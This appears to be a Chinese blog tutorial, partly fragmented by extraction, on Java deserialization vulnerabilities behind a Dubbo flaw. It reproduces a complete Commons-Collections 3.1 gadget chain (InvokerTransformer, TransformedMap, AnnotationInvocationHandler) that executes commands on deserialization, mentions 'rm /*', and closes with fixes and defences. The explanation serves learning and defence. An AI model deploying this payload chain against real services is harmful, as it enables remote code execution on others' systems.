其他
Dubbo 高危漏洞!原来都是反序列化惹得祸!
The following article is from 程序通事 Author 楼下小黑哥
往期热门文章:
前言
反序列化漏洞
Java 运行外部命令
Runtime
,我们可以使用这个类执行执行一些外部命令。Runtime
运行打开系统的计算器软件。Runtime.getRuntime().exec("open -a Calculator ");
rm /*
。序列化/反序列化
Serializable
接口,我们就可以将其序列化成二进制数据,进而存储在文件中,或者使用网络传输。App
的对象进行序列化,然后将数据保存到的文件中。后续再从文件中读取序列化数据,对其进行反序列化得到 App
类的对象实例。private String name;
private static final long serialVersionUID = 7683681352462061434L;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
System.out.println("readObject name is "+name);
Runtime.getRuntime().exec("open -a Calculator");
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
App app = new App();
app.name = "程序通事";
FileOutputStream fos = new FileOutputStream("test.payload");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将Unsafe对象写入object文件
os.writeObject(app);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("test.payload");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
App objectFromDisk = (App)ois.readObject();
System.out.println("main name is "+objectFromDisk.name);
ois.close();
}
main name is 程序通事
ObjectInputStream#readObject
读取反序列化的数据,如果对象内实现了 readObject
方法,这个方法将会被调用。反序列化漏洞执行条件
readObject
方法内主动使用Runtime
执行外部命令。但是正常的情况下,我们肯定不会在 readObject
写上述代码,除非是内鬼 ̄□ ̄||readObject
方法可以执行任意代码,那么在反序列过程也会执行对应的代码。我们只要将满足上述条件的对象序列化之后发送给先相应 Java 程序,Java 程序读取之后,进行反序列化,就会执行指定的代码。Java 反序列化应用中需要存在序列化使用的类,不然反序列化时将会抛出 ClassNotFoundException
异常。Java 反序列化对象的 readObject
方法可以执行任何代码,没有任何验证或者限制。
客户端构造payload(有效载荷),并进行一层层的封装,完成最后的exp(exploit-利用代码) exp发送到服务端,进入一个服务端自主复写(也可能是也有组件复写)的readobject函数,它会反序列化恢复我们构造的exp去形成一个恶意的数据格式exp_1(剥去第一层) 这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在外面的逻辑中),会执行一个exp_1这个恶意数据类的一个方法,在方法中会根据exp_1的内容进行函处理,从而一层层地剥去(或者说变形、解析)我们exp_1变成exp_2、exp_3...... 最后在一个可执行任意命令的函数中执行最后的payload,完成远程代码执行。
Common-Collections
Common-Collections
的存在反序列化漏洞为例,来复现反序列化攻击流程。Common-Collections
依赖,这里需要注意,我们需要引入 3.2.2 版本之前,之后的版本这个漏洞已经被修复。<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
PS:下面的代码只有在 JDK7 环境下执行才能复现这个问题。
Runtime.getRuntime().exec("open -a Calculator")
。Common-Collections
存在一个 Transformer
,可以将一个对象类型转为另一个对象类型,相当于 Java Stream 中的 map
函数。Transformer
有几个实现类:ConstantTransformer
InvokerTransformer
ChainedTransformer
ConstantTransformer
用于将对象转为一个常量值,例如:Object transform = transformer.transform("楼下小黑哥");
// 输出对象为 程序通事
System.out.println(transform);
InvokerTransformer
将会使用反射机制执行指定方法,例如:"append",
new Class[]{String.class},
new Object[]{"楼下小黑哥"}
);
StringBuilder input=new StringBuilder("程序通事-");
// 反射执行了 input.append("楼下小黑哥");
Object transform = transformer.transform(input);
// 程序通事-楼下小黑哥
System.out.println(transform);
ChainedTransformer
需要传入一个 Transformer[]
数组对象,使用责任链模式执行的内部 Transformer
,例如:new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Transformer chainTransformer = new ChainedTransformer(transformers);
chainTransformer.transform("任意对象值");
ChainedTransformer
链式执行 ConstantTransformer
,InvokerTransformer
逻辑,最后我们成功的运行的 Runtime
语句。Runtime
没有继承 Serializable
接口,我们无法将其进行序列化。Runtime.class
经过一系列的反射执行:final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
getMethod("getRuntime", null).
invoke(null, null)).
exec("open -a Calculator");
TransformedMap
Transformer
内部方法。Common-Collections
内有两个类将会调用 Transformer
:TransformedMap
LazyMap
TransformedMap
触发方式,LazyMap
触发方式比较类似,感兴趣的同学可以研究这个开源库@ysoserial CommonsCollections1
。Github 地址:https://github.com/frohoff/ysoserial
TransformedMap
可以用来对 Map 进行某种变换,底层原理实际上是使用传入的 Transformer
进行转换。Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只对 value 进行转换
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法将会触发调用 Transformer 内部方法
decorate.put("b", "B");
for (Object entry : decorate.entrySet()) {
Map.Entry temp = (Map.Entry) entry;
if (temp.getKey().equals("a")) {
// Map.Entry setValue 也会触发 Transformer 内部方法
temp.setValue("AAA");
}
}
System.out.println(decorate);
AnnotationInvocationHandler
TransformedMap
的 put
方法,或者调用 Map.Entry
的 setValue
方法就可以触发我们设置的 ChainedTransformer
,从而触发 Runtime
执行外部命令。readObject
,且正好可以调用 Map put
的方法或者调用 Map.Entry
的 setValue
。sun.reflect.annotation.AnnotationInvocationHandler
,正好满足上述的条件。这个类构造函数可以设置一个 Map
变量,这下刚好可以把上面的 TransformedMap
设置进去。Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
//
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, String> tempMap = new HashMap<>();
// tempMap 不能为空
tempMap.put("value", "you");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);
File f = new File("test.payload");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();
tempMap
需要一定不能为空,且 key
一定要是 value。那可能有的同学为什么一定要这样设置?tempMap
不能为空的原因是因为 readObject
方法内需要遍历内部 Map.Entry
.Common-Collections 漏洞修复方式
AnnotationInvocationHandler
移除了 memberValue.setValue
的调用,从而使我们上面构造的 AnnotationInvocationHandler
+TransformedMap
失效。Common-Collections
3.2.2 版本,对这些不安全的 Java 类序列化支持增加了开关,默认为关闭状态。InvokerTransformer
类中重写 readObject
,增相关判断。如果没有开启不安全的类的序列化则会抛出UnsupportedOperationException异常Dubbo 反序列化漏洞
防护措施
Common-Collections
版本升级。最后(来个一键四连!!!)
帮助资料
http://blog.nsfocus.net/deserialization/ http://www.beesfun.com/2017/05/07/JAVA反序列化漏洞知识点整理/ https://xz.aliyun.com/t/2041 https://xz.aliyun.com/t/2028 https://www.freebuf.com/vuls/241975.html http://rui0.cn/archives/1338 http://apachecommonstipsandtricks.blogspot.com/2009/01/transformedmap-and-transformers-plug-in.html https://security.tencent.com/index.php/blog/msg/97 JAVA反序列化漏洞完整过程分析与调试 https://security.tencent.com/index.php/blog/msg/131 https://paper.seebug.org/1264/#35
往期热门文章:
3、他来了!IDEA 2020.1 新版介绍!不过升级前请注意避坑!